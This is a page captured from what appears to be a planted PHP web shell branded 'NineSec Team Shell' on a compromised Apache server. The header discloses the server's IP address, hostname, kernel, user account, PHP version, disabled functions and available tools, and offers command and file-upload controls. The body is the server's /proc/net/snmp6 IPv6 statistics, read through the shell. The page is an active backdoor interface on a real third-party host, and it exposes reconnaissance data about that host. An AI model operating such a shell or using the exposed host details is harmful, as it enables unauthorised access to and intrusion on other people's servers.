NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/net/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/net/snmp6
Ip6InReceives                   	2063335
Ip6InHdrErrors                  	0
Ip6InTooBigErrors               	0
Ip6InNoRoutes                   	0
Ip6InAddrErrors                 	374
Ip6InUnknownProtos              	0
Ip6InTruncatedPkts              	0
Ip6InDiscards                   	0
Ip6InDelivers                   	2062940
Ip6OutForwDatagrams             	0
Ip6OutRequests                  	672558
Ip6OutDiscards                  	0
Ip6OutNoRoutes                  	229814
Ip6ReasmTimeout                 	0
Ip6ReasmReqds                   	0
Ip6ReasmOKs                     	0
Ip6ReasmFails                   	0
Ip6FragOKs                      	0
Ip6FragFails                    	0
Ip6FragCreates                  	0
Ip6InMcastPkts                  	1393410
Ip6OutMcastPkts                 	2995
Ip6InOctets                     	2075529055
Ip6OutOctets                    	1975346108
Ip6InMcastOctets                	100325520
Ip6OutMcastOctets               	168472
Ip6InBcastOctets                	0
Ip6OutBcastOctets               	0
Ip6InNoECTPkts                  	2063335
Ip6InECT1Pkts                   	0
Ip6InECT0Pkts                   	0
Ip6InCEPkts                     	0
Icmp6InMsgs                     	1418137
Icmp6InErrors                   	0
Icmp6OutMsgs                    	27743
Icmp6OutErrors                  	0
Icmp6InCsumErrors               	0
Icmp6InDestUnreachs             	0
Icmp6InPktTooBigs               	0
Icmp6InTimeExcds                	0
Icmp6InParmProblems             	0
Icmp6InEchos                    	0
Icmp6InEchoReplies              	0
Icmp6InGroupMembQueries         	0
Icmp6InGroupMembResponses       	0
Icmp6InGroupMembReductions      	0
Icmp6InRouterSolicits           	0
Icmp6InRouterAdvertisements     	68
Icmp6InNeighborSolicits         	12372
Icmp6InNeighborAdvertisements   	1405697
Icmp6InRedirects                	0
Icmp6InMLDv2Reports             	0
Icmp6OutDestUnreachs            	0
Icmp6OutPktTooBigs              	0
Icmp6OutTimeExcds               	0
Icmp6OutParmProblems            	0
Icmp6OutEchos                   	0
Icmp6OutEchoReplies             	0
Icmp6OutGroupMembQueries        	0
Icmp6OutGroupMembResponses      	0
Icmp6OutGroupMembReductions     	0
Icmp6OutRouterSolicits          	2957
Icmp6OutRouterAdvertisements    	0
Icmp6OutNeighborSolicits        	12378
Icmp6OutNeighborAdvertisements  	12372
Icmp6OutRedirects               	0
Icmp6OutMLDv2Reports            	36
Icmp6InType134                  	68
Icmp6InType135                  	12372
Icmp6InType136                  	1405697
Icmp6OutType133                 	2957
Icmp6OutType135                 	12378
Icmp6OutType136                 	12372
Icmp6OutType143                 	36
Udp6InDatagrams                 	127
Udp6NoPorts                     	0
Udp6InErrors                    	0
Udp6OutDatagrams                	139
Udp6RcvbufErrors                	0
Udp6SndbufErrors                	0
Udp6InCsumErrors                	0
Udp6IgnoredMulti                	0
Udp6MemErrors                   	0
UdpLite6InDatagrams             	0
UdpLite6NoPorts                 	0
UdpLite6InErrors                	0
UdpLite6OutDatagrams            	0
UdpLite6RcvbufErrors            	0
UdpLite6SndbufErrors            	0
UdpLite6InCsumErrors            	0
UdpLite6MemErrors               	0

NineSec Team - 2022